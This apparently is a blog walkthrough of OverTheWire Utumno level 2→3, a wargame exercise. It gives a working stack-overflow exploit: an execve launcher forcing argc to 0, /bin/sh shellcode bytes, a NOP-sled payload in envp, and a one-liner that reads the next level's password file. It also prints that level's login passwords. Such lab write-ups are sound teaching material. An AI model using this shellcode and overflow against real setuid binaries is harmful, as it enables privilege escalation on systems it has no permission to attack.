Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Utumno Level 2 → 3 tutorial!!

Login

Use the password from Level 1 → 2:

ssh utumno2@utumno.labs.overthewire.org -p 2227
# password: ceewaceiph

Then move to the game folder:

cd /utumno

Task

Binary: /utumno/utumno2

  • Running it prints only: Aw.. and exits.
  • Disassembly shows a weird argc check and a copy from envp into a small stack buffer using strcpy.
  • Goal: bypass the Aw.. early-exit, then overflow the stack via an environment variable, redirecting execution to our /bin/sh shellcode.

Source Code / Disassembly Notes

From gdb:

main:
  cmp  [ebp+0x8], 0x0          ; if (argc == 0) continue, else print "Aw.." and exit
  je   <take_env_branch>
  puts("Aw.."); exit(1)

<take_env_branch>:
  mov  eax, [ebp+0xc]          ; eax = envp
  add  eax, 0x28               ; skip to the 10th pointer (index 9)
  mov  eax, [eax]              ; eax = envp[9]
  push eax                     ; src
  lea  eax, [ebp-0xc]          ; dst = small local buffer
  push eax
  call strcpy                  ; strcpy(dst, envp[9]) → overflow
  ...
  ret

Key observations:

  • Program only proceeds if argc == 0 (which is never true for a normal exec).
  • It then copies envp[9] (the 10th environment string) into a 12-byte stack buffer with strcpy → classic overflow.
  • We’ll launch the program via execve() with argv = NULL to force argc==0, and craft envp so that:

    • envp[9] contains the EIP-smashing payload.
    • Another envp[k] holds a NOP sled + /bin/sh shellcode we can jump to.

Exploitation Steps

1) Force argc == 0 and control envp

Write a tiny launcher that calls execve("/utumno/utumno2", NULL, envp):

// execve.c
#include <unistd.h>
int main(void) {
    char *envp[] = { "", "", "", "", "", "", "", "", "",
                     "AAAABBBBCCCCDDDDEEEEFFFFAAAA",
                     NULL };
    execve("/utumno/utumno2", NULL, envp);
    return 0;
}

Compile and run:

gcc -m32 -static execve.c -o execve
./execve
# Segmentation fault (expected)

strace/gdb show EIP control; ~24 bytes reach the return address (you’ll see 0x45454545 if you use 'E' padding).


2) Stage shellcode in another env var

We don’t have much room in the overflow string, so put the shellcode in a separate env var (with a small NOP sled), and make the overflow overwrite the return address to jump into it.

32-bit /bin/sh shellcode:

; shell.asm (32-bit)
global _start
section .text
_start:
    xor eax, eax
    push eax
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp
    mov al, 0xb
    int 0x80

Assemble + link + extract bytes (one typical pipeline):

nasm -f elf32 shell.asm
ld -m elf_i386 -s -o shell shell.o
objdump -d ./shell.o | grep '[0-9a-f]:' | grep -v 'file' \
 | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' \
 | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
# -> "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

3) Build the final launcher

  • envp[8] (or any slot you like) → NOP sled + shellcode
  • envp[9]overflow string ending with the little-endian return address pointing into the sled

Example (addresses from the provided run):

// code.c
#include <unistd.h>
int main(void) {
    char *envp[] = {
        "", "", "", "", "", "", "", "",
        /* NOP sled + shellcode */
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
        "\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
        /* overflow (24 bytes to EIP) + RET = 0xffffdfb0 */
        "AAAABBBBCCCCDDDD\xb0\xdf\xff\xff",
        NULL
    };
    execve("/utumno/utumno2", NULL, envp);
    return 0;
}

Compile and run:

gcc -m32 -static code.c -o code
./code
$ whoami
utumno3
$ cat /etc/utumno_pass/utumno3
zuudafiine

Why 0xffffdfb0? In this run, gdb showed the sled around 0xffffdfb0:

x/200x $esp
...
0xffffdfa0: 0x90909000 0x90909090 0x90909090 0x90909090
0xffffdfb0: 0x90909090 0x90909090 0x50c03190 0x732f2f68
...

We simply return into the sled.


Password

From my run:

zuudafiine

Quick One-liner

cd /tmp && mkdir -p u2 && cd u2 && cat > code.c <<'EOF'
#include <unistd.h>
int main(void){
  char *envp[] = {
    "", "", "", "", "", "", "", "",
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
    "\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
    "AAAABBBBCCCCDDDD\xb0\xdf\xff\xff",
    NULL};
  execve("/utumno/utumno2", NULL, envp);
  return 0;
}
EOF
gcc -m32 -static code.c -o code && ./code && whoami && cat /etc/utumno_pass/utumno3

Troubleshooting

  • Still seeing “Aw..” and exit? You didn’t force argc==0. Launch via a helper execve() with argv = NULL.
  • No crash / no EIP control? Ensure envp[9] contains at least 24 bytes before your 4-byte return address (little-endian).
  • Shellcode doesn’t run?

    • Make sure your return address points into the NOP sled (confirm with gdb x/200x $esp).
    • Avoid bad bytes in environment strings.
    • Use more NOPs if needed; adjust the address a little (±0x10).
  • 32-bit toolchain errors? Compile with -m32 and assemble with -f elf32.

Congrats 🎉 You exploited an envp-based stack overflow gated by an argc==0 trick—great prep for more advanced stack games!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with